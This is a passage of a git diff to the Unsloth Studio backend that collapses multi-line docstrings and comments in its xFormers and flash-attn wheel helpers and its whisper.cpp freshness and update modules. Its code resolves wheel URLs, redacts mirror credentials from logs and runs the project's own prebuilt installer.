{}).get(cuda_family)if exact is not None:return exact- # A dev/nightly/rc suffix ('2.11.0.dev20260101') is not a released torch, so it stays- # out: _xformers_version_tuple stops at the first non-numeric chunk, which would read- # it as the release itself.+ # A dev/nightly/rc suffix ('2.11.0.dev20260101') is not a released torch, so it stays out: _xformers_version_tuple stops at the first non-numeric chunk, which would read it as the release itself.if not re.fullmatch(r"[0-9]+(?:\.[0-9]+)*", release):return Noneif _xformers_version_tuple(release) > _XFORMERS_STABLE_ABI_FLOOR:@@ -296,12 +218,7 @@ def xformers_wheel_version(torch_version: str | None, cuda_family: str | None) -def xformers_wheel_url(env: dict[str, str] | None) -> str | None:- """Direct URL of the xFormers wheel matching ``env``'s torch build, else None.-- None means "no matched wheel exists" and callers must install nothing rather than- fall back to an unpinned resolve -- an unpinned install is what produces the- mismatched extension in the first place.- """+ """Direct URL of the xFormers wheel matching ``env``'s torch build, else None. None means "no matched wheel exists" and callers must install nothing rather than fall back to an unpinned resolve, since an unpinned install is what produces the mismatched extension in the first place."""if env is None:return Noneplatform_leaf = _XFORMERS_PLATFORM_LEAVES.get(str(env.get("platform_tag") or ""))@@ -321,14 +238,7 @@ def xformers_wheel_url(env: dict[str, str] | None) -> str | None:def join_wheel_url(base: str, path: str) -> str:- """``base`` + ``path``, with any ?query / #fragment kept at the end.-- UNSLOTH_PYTORCH_MIRROR is allowed to authenticate by query string- (``https://mirror/whl?token=abc``), and appending after the query put the wheel path- INSIDE the token value -- leaving the request path at /whl and the token unusable. The- tokenized private mirror this setting exists for was the one shape that could not- resolve a wheel.- """+ """``base`` + ``path``, with any ?query / #fragment kept at the end. UNSLOTH_PYTORCH_MIRROR is allowed to authenticate by query string (``https://mirror/whl?token=abc``), and appending after the query put the wheel path INSIDE the token value, leaving the request path at /whl and the token unusable. The tokenized private mirror this setting exists for was the one shape that could not resolve a wheel."""cut = min([i for i in (base.find("?"), base.find("#")) if i >= 0], default = -1)if cut < 0:return f"{base.rstrip('/')}/{path}"@@ -336,14 +246,7 @@ def join_wheel_url(base: str, path: str) -> str:def redact_url_credentials(url: str) -> str:- """A URL safe to log: no userinfo, no query, no fragment.-- UNSLOTH_PYTORCH_MIRROR is allowed to be a private index, and people put credentials in- it -- ``https://user:token@mirror/whl`` or ``...?token=``. The wheel URL built from it- is handed to pip AND printed, so without this the secret lands in the backend log the- first time Unsloth installs (or fails to install) xFormers. Same rule as the installer's- Remove-IndexUrlCredentials, so both sides redact identically.- """+ """A URL safe to log: no userinfo, no query, no fragment. UNSLOTH_PYTORCH_MIRROR is allowed to be a private index, and people put credentials in it (``https://user:token@mirror/whl`` or ``...?token=``). The wheel URL built from it is handed to pip AND printed, so without this the secret lands in the backend log the first time Unsloth installs (or fails to install) xFormers. Same rule as the installer's Remove-IndexUrlCredentials, so both sides redact identically."""separator = url.find("://")if separator < 0:return url@@ -361,11 +264,7 @@ def redact_url_credentials(url: str) -> str:def flash_attn_package_version(torch_mm: str) -> str | None:if torch_mm == "2.10":- # Newest flash-attn release still carrying the full torch2.10 asset matrix. Do not bump to "the- # latest release": v2.8.3 publishes only cu13/cp312 for torch2.10 and v2.8.3.post1 dropped every- # torch2.10 asset, 404ing most users into a source build.- # The full matrix is cu12 + cu13, cp312 + cp313, x86_64 + aarch64, and post1's newest tag is torch2.9, which- # will not load here at all.+ # Newest flash-attn release still carrying the full torch2.10 asset matrix. Do not bump to "the latest release": v2.8.3 publishes only cu13/cp312 for torch2.10 and v2.8.3.post1 dropped every torch2.10 asset, 404ing most users into a source build. The full matrix is cu12 + cu13, cp312 + cp313, x86_64 + aarch64, and post1's newest tag is torch2.9, which will not load here at all.return "2.8.1"try:major, minor = (int(part) for part in torch_mm.split(".", 1))@@ -401,7 +300,6 @@ def install_wheel() -> list[tuple[str, subprocess.CompletedProcess[str]]]:attempts: list[tuple[str, subprocess.CompletedProcess[str]]] = []- # Try uv first if available, then fall back to pipif use_uv and shutil.which("uv"):uv_cmd = ["uv", "pip", "install"]if uv_needs_system:diff --git a/studio/backend/utils/whisper_cpp_freshness.py b/studio/backend/utils/whisper_cpp_freshness.pyindex 59749455b16..4b4149b371f 100644--- a/studio/backend/utils/whisper_cpp_freshness.py+++ b/studio/backend/utils/whisper_cpp_freshness.py@@ -1,18 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""whisper.cpp prebuilt freshness check.--Reads UNSLOTH_WHISPER_PREBUILT_INFO.json (written by install_whisper_prebuilt.py)-and compares the installed release tag against the latest on GitHub. Surfaced via-utils.whisper_cpp_update (GET /api/whisper/update-status and the combined-llama+whisper update status). Fails open on any missing data so we never show a-misleading banner.--The mechanics (marker walk-up, GitHub fetch, memo + disk cache, report skeleton)-live in utils.prebuilt.freshness_flow; this module keeps the whisper version-policy and the per-module caches its tests patch.-"""+"""whisper.cpp prebuilt freshness check. Reads UNSLOTH_WHISPER_PREBUILT_INFO.json (written by install_whisper_prebuilt.py) and compares the installed release tag against the latest on GitHub, surfaced via utils.whisper_cpp_update (GET /api/whisper/update-status and the combined llama+whisper update status). Fails open on any missing data so we never show a misleading banner. The mechanics (marker walk-up, GitHub fetch, memo + disk cache, report skeleton) live in utils.prebuilt.freshness_flow; this module keeps the whisper version policy and the per-module caches its tests patch."""from __future__ import annotations@@ -49,8 +38,7 @@ def _cache_dir() -> Path:def read_install_marker(binary_path: Optional[str]) -> Optional[dict]:- """Walk up from binary_path to find UNSLOTH_WHISPER_PREBUILT_INFO.json.- None = no marker (source build / custom path) or invalid JSON."""+ """Walk up from binary_path to find UNSLOTH_WHISPER_PREBUILT_INFO.json. None = no marker (source build / custom path) or invalid JSON."""if not binary_path:return Nonecached = _marker_cache.get(binary_path)@@ -72,16 +60,14 @@ def _save_disk_cache(repo: str, latest_tag: Optional[str]) -> None:def _fetch_latest_release_tag(repo: str, timeout: float = 5.0) -> Optional[str]:- """Newest published release tag for `repo`, by publish time (see- freshness_flow for why this is not GitHub's /releases/latest pointer)."""+ """Newest published release tag for `repo`, by publish time (see freshness_flow for why this is not GitHub's /releases/latest pointer)."""return _flow.fetch_latest_release_tag(repo, timeout, log_message = "whisper freshness fetch failed")def latest_published_release(repo: str, *, force_refresh: bool = False) -> Optional[str]:- """Latest release tag for `repo`. Memo + disk-cached (24h TTL).- None when offline and never previously cached."""+ """Latest release tag for `repo`. Memo + disk-cached (24h TTL). None when offline and never previously cached."""return _flow.latest_published_release(repo,force_refresh = force_refresh,@@ -93,16 +79,14 @@ def latest_published_release(repo: str, *, force_refresh: bool = False) -> Optiodef _fetch_latest_release_assets(repo: str, timeout: float = 5.0) -> Optional[dict[str, int]]:- """Asset name -> size (bytes) for the newest published release of `repo`,- selected exactly like _fetch_latest_release_tag. None on any failure."""+ """Asset name -> size (bytes) for the newest published release of `repo`, selected exactly like _fetch_latest_release_tag. None on any failure."""return _flow.fetch_latest_release_assets(repo, timeout, log_message = "whisper freshness asset fetch failed")def latest_release_assets(repo: str, *, force_refresh: bool = False) -> Optional[dict[str, int]]:- """Newest-release asset sizes for `repo`, memoized (24h TTL). None when- offline and never fetched. In-memory only -- a restart simply re-fetches."""+ """Newest-release asset sizes for `repo`, memoized (24h TTL). None when offline and never fetched. In-memory only, so a restart simply re-fetches."""return _flow.latest_release_assets(repo,force_refresh = force_refresh,@@ -112,10 +96,7 @@ def latest_release_assets(repo: str, *, force_refresh: bool = False) -> Optionaldef _asset_platform_suffix(asset: str, installed_tag: Optional[str]) -> Optional[str]:- """The tag-independent ``<os>-<arch>-<accel>.<ext>`` suffix identifying this- host's bundle, from stripping the ``whisper-<tag>-`` prefix off the installed- asset name. Falls back to anchoring on the platform token when the marker tag- does not line up with the asset's embedded tag."""+ """The tag-independent ``<os>-<arch>-<accel>.<ext>`` suffix identifying this host's bundle, from stripping the ``whisper-<tag>-`` prefix off the installed asset name. Falls back to anchoring on the platform token when the marker tag does not line up with the asset's embedded tag."""if isinstance(installed_tag, str) and installed_tag:tag = installed_tag if installed_tag.startswith("v") else f"v{installed_tag}"prefix = f"whisper-{tag}-"@@ -132,13 +113,7 @@ def update_download_size_bytes(*,force_refresh: bool = False,) -> Optional[int]:- """Download size of the latest-release asset matching this host's installed- bundle (same platform/arch/accel suffix). None when there is no marker asset,- the latest assets can't be read, or no match.-- Assets are named ``whisper-<tag>-<os>-<arch>-<accel>.<ext>`` and the fork- builds every slice itself, so only the publish repo is consulted (no- upstream/binary_repo passthrough)."""+ """Download size of the latest-release asset matching this host's installed bundle (same platform/arch/accel suffix). None when there is no marker asset, the latest assets cannot be read, or nothing matches. Assets are named ``whisper-<tag>-<os>-<arch>-<accel>.<ext>`` and the fork builds every slice itself, so only the publish repo is consulted (no upstream/binary_repo passthrough)."""if not marker or not latest_tag or not repo:return Noneinstalled_asset = marker.get("asset")@@ -162,12 +137,7 @@ def update_download_size_bytes(def parse_release_version(tag: object) -> Optional[tuple]:- """Comparable key ``(upstream_major, upstream_minor, upstream_patch,- unsloth_serial)`` for a tag like ``v1.9.1-unsloth.2``.-- Tolerant of a leading ``v`` and a missing ``-unsloth.N`` suffix (serial then- 0); the upstream version is padded to major/minor/patch. None when the version- component is not purely numeric."""+ """Comparable key ``(upstream_major, upstream_minor, upstream_patch, unsloth_serial)`` for a tag like ``v1.9.1-unsloth.2``. Tolerant of a leading ``v`` and a missing ``-unsloth.N`` suffix (serial then 0); the upstream version is padded to major/minor/patch. None when the version component is not purely numeric."""if not isinstance(tag, str):return Nones = tag.strip()@@ -194,13 +164,7 @@ def parse_release_version(tag: object) -> Optional[tuple]:def is_behind(installed: Optional[str], latest: Optional[str]) -> bool:- """Whether `installed` is genuinely behind `latest`.-- - identical tags -> not behind (clears the sticky banner post-update)- - both parse -> behind only when the latest version key is strictly greater- (a lower/equal version is never "behind" -> downgrade guard)- - either fails to parse and they differ -> behind (plain inequality)- """+ """Whether `installed` is genuinely behind `latest`: identical tags are not behind (clearing the sticky banner post-update); when both parse, behind only when the latest version key is strictly greater (a lower or equal version is never behind, the downgrade guard); when either fails to parse and they differ, behind by plain inequality."""if not installed or not latest:return Falseinstalled, latest = installed.strip(), latest.strip()@@ -219,13 +183,8 @@ def check_prebuilt_freshness(threshold_days: int = STALENESS_THRESHOLD_DAYS,now: Optional[datetime] = None,) -> dict:- """Returns {has_marker, stale, behind, installed_tag, latest_tag,- installed_at_utc, age_days, published_repo, threshold_days}.- behind = installed genuinely older than latest (see is_behind).- stale = behind AND age >= threshold.- Fails open on missing data (behind/stale stay False)."""- # The whisper marker records a single ``release_tag`` (e.g. v1.9.1-unsloth.2);- # both display and comparison use it directly.+ """Returns {has_marker, stale, behind, installed_tag, latest_tag, installed_at_utc, age_days, published_repo, threshold_days}. behind = installed genuinely older than latest (see is_behind), stale = behind AND age >= threshold. Fails open on missing data (behind/stale stay False)."""+ # The whisper marker records a single ``release_tag`` (e.g. v1.9.1-unsloth.2); both display and comparison use it directly.return _flow.check_freshness(binary_path,threshold_days = threshold_days,@@ -239,14 +198,7 @@ def check_prebuilt_freshness(def reset_caches(*, drop_disk: bool = False) -> None:- """Drop the in-memory freshness caches. The no-arg form is test-only.-- With ``drop_disk = True`` also delete the on-disk 24h release cache. Used by- the post-install/update path: clearing memory alone leaves the stale- same-version value on disk, so an offline post-install GitHub refresh would- replay it (latest_published_release's last-good fallback) and the banner could- linger. Dropping the disk cache makes latest read None in that offline case,- so the banner fails open (off) rather than point at the just-replaced build."""+ """Drop the in-memory freshness caches. The no-arg form is test-only. With ``drop_disk = True`` also delete the on-disk 24h release cache, used by the post-install/update path: clearing memory alone leaves the stale same-version value on disk, so an offline post-install GitHub refresh would replay it (latest_published_release's last-good fallback) and the banner could linger. Dropping the disk cache makes latest read None in that offline case, so the banner fails open rather than pointing at the just-replaced build."""_flow.reset_caches((_marker_cache, _release_memo, _assets_memo),drop_disk = drop_disk,diff --git a/studio/backend/utils/whisper_cpp_update.py b/studio/backend/utils/whisper_cpp_update.pyindex 321423e0196..ab68b565404 100644--- a/studio/backend/utils/whisper_cpp_update.py+++ b/studio/backend/utils/whisper_cpp_update.py@@ -1,28 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""In-app whisper.cpp prebuilt update.--Builds on utils.whisper_cpp_freshness (which detects whether a newer prebuilt-release exists) and adds the *apply* half: run install_whisper_prebuilt.py to-download the newest bundle for this host and atomically swap it in, so the next-model load uses it. Applies only run as the whisper phase of the combined-llama+whisper update (utils.llama_cpp_update.start_update chains-run_chained_phase); there is no standalone whisper update trigger.--Design notes:-- Detection is delegated to check_prebuilt_freshness(). We surface an- ``update_available`` flag (installed_tag != latest_tag), laxer than freshness'- ``stale`` (which also requires the install to be >= 3 days old). The UI shows- the single main update item on update_available.-- Everything fails open: a missing marker / offline GitHub / source build just- reports update_available=False and never blocks the app.-- The mechanics (managed-root resolution, local-link detection, the resolve- probe, the streamed installer run) live in utils.prebuilt.update_flow; this- module keeps the whisper policy. The ``job`` dict in the status payload stays- idle (kept for response-shape stability): chained applies report progress- through the llama job.-"""+"""In-app whisper.cpp prebuilt update: the *apply* half over utils.whisper_cpp_freshness, running install_whisper_prebuilt.py to download the newest bundle for this host and atomically swap it in. Applies only run as the whisper phase of the combined llama+whisper update (utils.llama_cpp_update.start_update chains run_chained_phase); there is no standalone whisper update trigger. Detection is delegated to check_prebuilt_freshness(), and ``update_available`` (installed_tag != latest_tag) is laxer than freshness' ``stale`` (which also requires the install to be >= 3 days old); the UI shows the single main update item on update_available. Everything fails open: a missing marker, offline GitHub or a source build reports update_available=False and never blocks the app. The mechanics (managed-root resolution, local-link detection, the resolve probe, the streamed installer run) live in utils.prebuilt.update_flow; this module keeps the whisper policy, and the ``job`` dict in the status payload stays idle (kept for response-shape stability) since chained applies report progress through the llama job."""from __future__ import annotations@@ -55,8 +34,7 @@ logger = structlog.get_logger(__name__)DEFAULT_PUBLISHED_REPO = "unslothai/whisper.cpp"_INSTALL_TIMEOUT_SECONDS = 1800-# Always-idle job payload: whisper applies run inside the chained llama job, so-# nothing flips this to running. Kept so status payload shapes stay stable.+# Always-idle job payload: whisper applies run inside the chained llama job, so nothing flips this to running. Kept so status payload shapes stay stable._job_lock = threading.Lock()_job: dict = _flow.new_job()@@ -64,9 +42,7 @@ _rocm_install_args = _flow.rocm_install_argsdef _find_binary() -> Optional[str]:- """Locate the active whisper-server binary via the STT sidecar's own resolver- so update targets exactly what Unsloth runs. Lazy import keeps the heavy- inference module off this module's import path."""+ """Locate the active whisper-server binary via the STT sidecar's own resolver so update targets exactly what Unsloth runs. Lazy import keeps the heavy inference module off this module's import path."""try:from core.inference.stt_ggml_sidecar import find_whisper_server_binaryreturn find_whisper_server_binary()@@ -76,9 +52,7 @@ def _find_binary() -> Optional[str]:def _install_dir_for(binary_path: Optional[str]) -> Optional[Path]:- """The directory holding UNSLOTH_WHISPER_PREBUILT_INFO.json: the install root- install_whisper_prebuilt.py wrote (``<install-dir>`` whose canonical server is- ``build/bin/whisper-server``) and the one we re-install into."""+ """The directory holding UNSLOTH_WHISPER_PREBUILT_INFO.json: the install root install_whisper_prebuilt.py wrote (``<install-dir>`` whose canonical server is ``build/bin/whisper-server``) and the one we re-install into."""root = canonical_install_root(binary_path)if root is not None and (root / _INSTALL_MARKER_NAME).is_file():return root@@ -92,8 +66,7 @@ def _installer_script() -> Optional[Path]:)-# Markerless (source-build) installs have no UNSLOTH_WHISPER_PREBUILT_INFO.json,-# so we ask the installer whether an official prebuilt now exists for this host.+# Markerless (source-build) installs have no UNSLOTH_WHISPER_PREBUILT_INFO.json, so we ask the installer whether an official prebuilt now exists for this host._resolve_memo: dict = {}@@ -104,14 +77,7 @@ def _resolve_prebuilt_for_host(published_repo: Optional[str] = None,published_release_tag: Optional[str] = None,) -> Optional[dict]:- """Run install_whisper_prebuilt.py --resolve-prebuilt (no download); return- {prebuilt_available, repo, release_tag, upstream_tag, backend, asset, os,- arch, ...} or None. Fail-open: any error -> None so a source build never- blocks the app.-- A caller installing a pinned release must pass the same pin here, or it probes- a different artifact than it installs: the unpinned latest pointer sorts by- commit date and can lag the published_at pick (#6219)."""+ """Run install_whisper_prebuilt.py --resolve-prebuilt (no download); return {prebuilt_available, repo, release_tag, upstream_tag, backend, asset, os, arch, ...} or None. Fail-open: any error -> None so a source build never blocks the app. A caller installing a pinned release must pass the same pin here, or it probes a different artifact than it installs: the unpinned latest pointer sorts by commit date and can lag the published_at pick (#6219)."""extra_args = ("--backend", backend) if backend else ()if published_repo:extra_args += ("--published-repo", published_repo)@@ -127,9 +93,7 @@ def _resolve_prebuilt_for_host(def _installed_whisper_version(binary: Optional[str]) -> Optional[str]:- """Best-effort ``v<A.B.C>`` from ``whisper-server --version``. None when the- binary is missing, reports no version, or cannot run. Used only for the- markerless source-build downgrade guard, so it fails open to None."""+ """Best-effort ``v<A.B.C>`` from ``whisper-server --version``. None when the binary is missing, reports no version, or cannot run. Used only for the markerless source-build downgrade guard, so it fails open to None."""if not binary:return Nonetry:@@ -150,8 +114,7 @@ def _installed_whisper_version(binary: Optional[str]) -> Optional[str]:def _whisper_install_root(binary: Optional[str]) -> Optional[Path]:- """The Unsloth-managed whisper.cpp root the active binary lives under, or None- when the binary is unmanaged (see update_flow.managed_install_root)."""+ """The Unsloth-managed whisper.cpp root the active binary lives under, or None when the binary is unmanaged (see update_flow.managed_install_root)."""return _flow.managed_install_root(binary,marker_root = _install_dir_for(binary),@@ -162,32 +125,27 @@ def _whisper_install_root(binary: Optional[str]) -> Optional[Path]:def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:- """Update status for a markerless (source-build) install: offer the official- prebuilt when one exists for this host and is newer than the installed binary.- None -> caller falls through to the no-marker default (unsupported)."""+ """Update status for a markerless (source-build) install: offer the official prebuilt when one exists for this host and is newer than the installed binary. None -> caller falls through to the no-marker default (unsupported)."""res = _resolve_prebuilt_for_host(force_refresh = force_refresh)if not res or not res.get("prebuilt_available"):return Nonerelease_tag = res.get("release_tag")if not release_tag:return None- # No resolvable install root (e.g. a pinned WHISPER_SERVER_PATH we cannot manage) means an apply would not take- # effect, so do not offer it.+ # No resolvable install root (e.g. a pinned WHISPER_SERVER_PATH we cannot manage) means an apply would not take effect, so do not offer it.if _whisper_install_root(binary) is None:return Noneinstalled_tag = _installed_whisper_version(binary)installed_key = parse_release_version(installed_tag) if installed_tag else Nonelatest_key = parse_release_version(release_tag)if installed_key is None or latest_key is None:- # Unknown installed/latest version (involuntary source-build case): treat- # as behind so we still offer the prebuilt.+ # Unknown installed/latest version (involuntary source-build case): treat as behind so we still offer the prebuilt.update_available = Trueelse:# Same downgrade guard as is_behind: only a strictly newer key is behind.update_available = latest_key > installed_keylatest = release_tag- # Size of the resolved prebuilt, so source builds show it like the marker- # path. Fails open to None (offline / asset absent from release).+ # Size of the resolved prebuilt, so source builds show it like the marker path. Fails open to None (offline / asset absent from release).update_size_bytes = Noneif update_available:asset_name = res.get("asset")@@ -216,8 +174,7 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:def _active_install_is_local_link(binary: Optional[str]) -> bool:- """True when the active whisper-server resolves through a locally-linked- whisper.cpp directory (see update_flow.active_install_is_local_link)."""+ """True when the active whisper-server resolves through a locally-linked whisper.cpp directory (see update_flow.active_install_is_local_link)."""return _flow.active_install_is_local_link(binary, dir_name = "whisper.cpp")@@ -227,19 +184,14 @@ def _local_link_status() -> dict:def get_update_status(*, force_refresh: bool = False) -> dict:- """Report whether a newer prebuilt exists plus the current job state.-- force_refresh bypasses the 24h release cache for an explicit "check now".- """+ """Report whether a newer prebuilt exists plus the current job state. force_refresh bypasses the 24h release cache for an explicit "check now"."""binary = _find_binary()- # A locally-linked whisper.cpp dir is the user's own tree; never offer to replace it. Bail before any- # network/freshness work.+ # A locally-linked whisper.cpp dir is the user's own tree; never offer to replace it. Bail before any network/freshness work.if _active_install_is_local_link(binary):return _local_link_status()marker = read_install_marker(binary)- # No marker = source build / custom path. Offer the official prebuilt if one- # exists for this host.+ # No marker = source build / custom path. Offer the official prebuilt if one exists for this host.if marker is None and binary is not None:src = _source_build_status(binary, force_refresh = force_refresh)if src is not None:@@ -248,7 +200,6 @@ def get_update_status(*, force_refresh: bool = False) -> dict:repo = (marker or {}).get("published_repo") or DEFAULT_PUBLISHED_REPOif force_refresh and repo:- # Prime the cache so the freshness read below sees the newest tag.try:latest_published_release(repo, force_refresh = True)except Exception as exc: # pragma: no cover - network defensive@@ -267,9 +218,7 @@ def get_update_status(*, force_refresh: bool = False) -> dict:if (resolved or {}).get("prebuilt_available") and isinstance(compatible_latest, str):compatible_override = compatible_latest != latestlatest = compatible_latest- # `behind` compares the release version with a downgrade guard, so a lagging- # /releases/latest or lower published tag can't show a false update- # (whisper_cpp_freshness.is_behind).+ # `behind` compares the release version with a downgrade guard, so a lagging /releases/latest or lower published tag can't show a false update (whisper_cpp_freshness.is_behind).update_available = bool(freshness.get("has_marker")and (@@ -279,8 +228,7 @@ def get_update_status(*, force_refresh: bool = False) -> dict:))- # Size of the prebuilt Update would download, for the banner. Only when an- # update is offered; fails open to None (offline / no matching asset).+ # Size of the prebuilt Update would download, for the banner. Only when an update is offered; fails open to None (offline / no matching asset).update_size_bytes = Noneif update_available and not compatible_override:try:@@ -325,13 +273,10 @@ def _install_latest(from core.inference.stt_ggml_sidecar import get_ggml_stt_sidecarsidecar = get_ggml_stt_sidecar()except Exception as exc:- # Replacing the tree without the singleton's maintenance barrier would- # reopen the Windows executable-lock and stale-process races. Fail closed.+ # Replacing the tree without the singleton's maintenance barrier would reopen the Windows executable-lock and stale-process races. Fail closed.raise RuntimeError("could not coordinate the whisper.cpp sidecar update") from exc- # update_maintenance publishes its guard before waiting for an existing- # transcription, unloads the warm server, and holds the sidecar lock across- # the complete atomic install. No new process can relock or outlive the tree.+ # update_maintenance publishes its guard before waiting for an existing transcription, unloads the warm server, and holds the sidecar lock across the complete atomic install. No new process can relock or outlive the tree.with sidecar.update_maintenance() as model_was_active:return _install_latest_while_blocked(install_dir,@@ -368,7 +313,6 @@ def _install_latest_while_blocked("--published-repo",repo,]- # Preserve the installed accelerator across updates.if isinstance(backend, str) and backend:cmd.extend(["--backend", backend])if pin_release_tag:@@ -376,7 +320,6 @@ def _install_latest_while_blocked(cmd.extend(_rocm_install_args(asset))logger.info("whisper update: installing", cmd = " ".join(cmd))env = dict(os.environ, UNSLOTH_PROGRESS_PERCENT_STEP = "5")- # Every nonzero exit is a failed phase._flow.stream_installer(cmd,env,@@ -384,8 +327,7 @@ def _install_latest_while_blocked(timeout_seconds = _INSTALL_TIMEOUT_SECONDS,)- # Drop stale caches so the banner re-checks the swapped marker. If GitHub is- # offline, latest stays unknown and the banner fails open.+ # Drop stale caches so the banner re-checks the swapped marker. If GitHub is offline, latest stays unknown and the banner fails open.reset_caches(drop_disk = True)try:latest_published_release(repo, force_refresh = True)@@ -419,12 +361,7 @@ def _installed_llama_bundle() -> tuple[Optional[str], Optional[str]]:def slim_pairing_is_stale() -> bool:- """Whether a slim install still hardlinks the runtime of a different backend.-- The same comparison ``run_repair_phase`` makes before it does any work, exposed- so the llama planner can tell a re-pair that is still owed from one already done.- A repair that failed retryably leaves exactly this state: llama has moved, whisper- has not."""+ """Whether a slim install still hardlinks the runtime of a different backend. The same comparison ``run_repair_phase`` makes before it does any work, exposed so the llama planner can tell a re-pair that is still owed from one already done: a repair that failed retryably leaves exactly this state, llama has moved, whisper has not."""backend, _ = _installed_llama_bundle()if backend is None:return False@@ -435,13 +372,7 @@ def slim_pairing_is_stale() -> bool:def repair_pairing_plan() -> dict:- """Whisper's half of a llama.cpp backend switch.-- A slim install has no ggml of its own -- it hardlinks llama's -- so replacing- the llama bundle leaves dictation on the very backend the switch was meant to- leave behind. Only whether such an install exists is decided here: which- backend to install is whatever the llama phase actually lands on, which the- runner reads from the marker once that phase has finished."""+ """Whisper's half of a llama.cpp backend switch. A slim install has no ggml of its own (it hardlinks llama's) so replacing the llama bundle leaves dictation on the very backend the switch was meant to leave behind. Only whether such an install exists is decided here: which backend to install is whatever the llama phase actually lands on, which the runner reads from the marker once that phase has finished."""plan: dict = {"update_available": False, "skip_reason": None, "phase": None}binary = _find_binary()if _active_install_is_local_link(binary):@@ -468,8 +399,7 @@ def repair_pairing_plan() -> dict:"install_dir": install_dir,"repo": marker.get("published_repo") or DEFAULT_PUBLISHED_REPO,"script": script,- # Unpinned: the installer resolves the whisper release that pairs with- # whichever llama.cpp release is installed when this phase runs.+ # Unpinned: the installer resolves the whisper release that pairs with whichever llama.cpp release is installed when this phase runs."pin_release_tag": None,"repair": True,}@@ -483,9 +413,7 @@ def run_repair_phase(phase: dict, set_progress) -> dict:logger.info("whisper repair: skipped, llama backend unknown")return {}if (read_install_marker(_find_binary()) or {}).get("backend") == backend:- # Detection can land back on the backend whisper is already built against,- # and the switch preserves the release, so the hardlinks still point at the- # same build. Nothing to repair, and nothing to claim was repaired.+ # Detection can land back on the backend whisper is already built against, and the switch preserves the release, so the hardlinks still point at the same build. Nothing to repair, and nothing to claim was repaired.return {}try:result = _install_latest(@@ -501,9 +429,7 @@ def run_repair_phase(phase: dict, set_progress) -> dict:except _flow.InstallerExit as exc:if exc.returncode != 2:raise- # 2 is "no compatible release": this llama.cpp release publishes no- # whisper bundle for the new backend. The old hardlinked runtime still- # works, so dictation degrades rather than failing the switch.+ # 2 is "no compatible release": this llama.cpp release publishes no whisper bundle for the new backend. The old hardlinked runtime still works, so dictation degrades rather than failing the switch.logger.info("whisper repair: skipped", backend = backend, detail = str(exc)[-500:])return {"message": (@@ -511,7 +437,6 @@ def run_repair_phase(phase: dict, set_progress) -> dict:f"published for this llama.cpp release on {backend} yet."),}- # Describe the backend change instead of an incidental version change.result["message"] = f"Re-paired whisper.cpp with the {backend} backend."return result@@ -519,15 +444,7 @@ def run_repair_phase(phase: dict, set_progress) -> dict:def chained_phase_plan(*, force_refresh: bool = False, paired_llama_will_update: bool = False) -> dict:- """Whisper's side of the combined llama+whisper update item.-- Returns {status, update_available, skip_reason, phase}: `status` is the- marker-path status dict (or a minimal one when whisper is skipped),- `update_available` says the chained apply would run a whisper phase, and- `phase` carries what run_chained_phase needs. Only marker-managed installs are- chained: local links, source builds and unmanaged/pinned paths are silently- skipped so whisper can never block a llama update. Never raises; failures- degrade to a skip."""+ """Whisper's side of the combined llama+whisper update item. Returns {status, update_available, skip_reason, phase}: `status` is the marker-path status dict (or a minimal one when whisper is skipped), `update_available` says the chained apply would run a whisper phase, and `phase` carries what run_chained_phase needs. Only marker-managed installs are chained: local links, source builds and unmanaged/pinned paths are silently skipped so whisper can never block a llama update. Never raises; failures degrade to a skip."""binary = _find_binary()if _active_install_is_local_link(binary):return {@@ -538,8 +455,7 @@ def chained_phase_plan(}marker = read_install_marker(binary)if marker is None:- # No marker: whisper is absent or a source/custom build. The standalone- # utils API can update source builds; the chain does not.+ # No marker: whisper is absent or a source/custom build. The standalone utils API can update source builds; the chain does not.return {"status": None,"update_available": False,@@ -549,15 +465,11 @@ def chained_phase_plan(status = get_update_status(force_refresh = force_refresh)plan: dict = {"status": status, "update_available": False, "skip_reason": None, "phase": None}if not status.get("update_available"):- # Skew note: a slim install keeps hardlinks to the OLD llama ggml inodes, still the exact build whisper was- # installed against, so skipping is correct and needs no re-wiring.- # A whisper phase that does run re-wires via the installer (prepare_runtime_payload).+ # Skew note: a slim install keeps hardlinks to the OLD llama ggml inodes, still the exact build whisper was installed against, so skipping is correct and needs no re-wiring. A whisper phase that does run re-wires via the installer (prepare_runtime_payload).plan["skip_reason"] = "up_to_date"return planif marker.get("install_kind") == "slim" and not paired_llama_will_update:- # A slim install can only be refreshed from a COMPLETED managed llama prebuilt, so ask the- # installer's read-only resolver: local links, markerless source builds and incomplete managed- # trees must not produce an Update button that can only fail.+ # A slim install can only be refreshed from a COMPLETED managed llama prebuilt, so ask the installer's read-only resolver: local links, markerless source builds and incomplete managed trees must not produce an Update button that can only fail.resolved = _resolve_prebuilt_for_host(force_refresh = force_refresh,backend = marker.get("backend") if isinstance(marker.get("backend"), str) else None,@@ -580,23 +492,14 @@ def chained_phase_plan("asset": marker.get("asset"),"backend": marker.get("backend"),"script": script,- # Install exactly the release the check offered: the unpinned "latest" sorts by commit date and can lag the- # published_at pick, reinstalling an older build in a loop (#6219).- # Not on macOS: the llama phase is unpinned there (walk-back to an os-compatible release), so pinning whisper to- # the newest tag could be an impossible pairing (min_os / requires_llama_tag) on every retry.+ # Install exactly the release the check offered: the unpinned "latest" sorts by commit date and can lag the published_at pick, reinstalling an older build in a loop (#6219). Not on macOS: the llama phase is unpinned there (walk-back to an os-compatible release), so pinning whisper to the newest tag could be an impossible pairing (min_os / requires_llama_tag) on every retry."pin_release_tag": None if sys.platform == "darwin" else status.get("latest_tag"),}return plandef _phase_repaired_to_installed_llama(phase: dict) -> dict:- """Point a slim phase at the backend the llama phase actually installed.-- The plan is built before that phase runs, so on a backend migration it still names- the outgoing runtime: installing it would fetch a whisper build for a ggml that is no- longer there, and pass the old asset's arch flags with it. A self-contained install- carries its own ggml, so llama's backend is not its backend and it keeps its own.- """+ """Point a slim phase at the backend the llama phase actually installed. The plan is built before that phase runs, so on a backend migration it still names the outgoing runtime: installing it would fetch a whisper build for a ggml that is no longer there, and pass the old asset's arch flags with it. A self-contained install carries its own ggml, so llama's backend is not its backend and it keeps its own."""backend, asset = _installed_llama_bundle()if not backend or backend == phase.get("backend"):return phase@@ -612,15 +515,7 @@ def _phase_repaired_to_installed_llama(phase: dict) -> dict:def 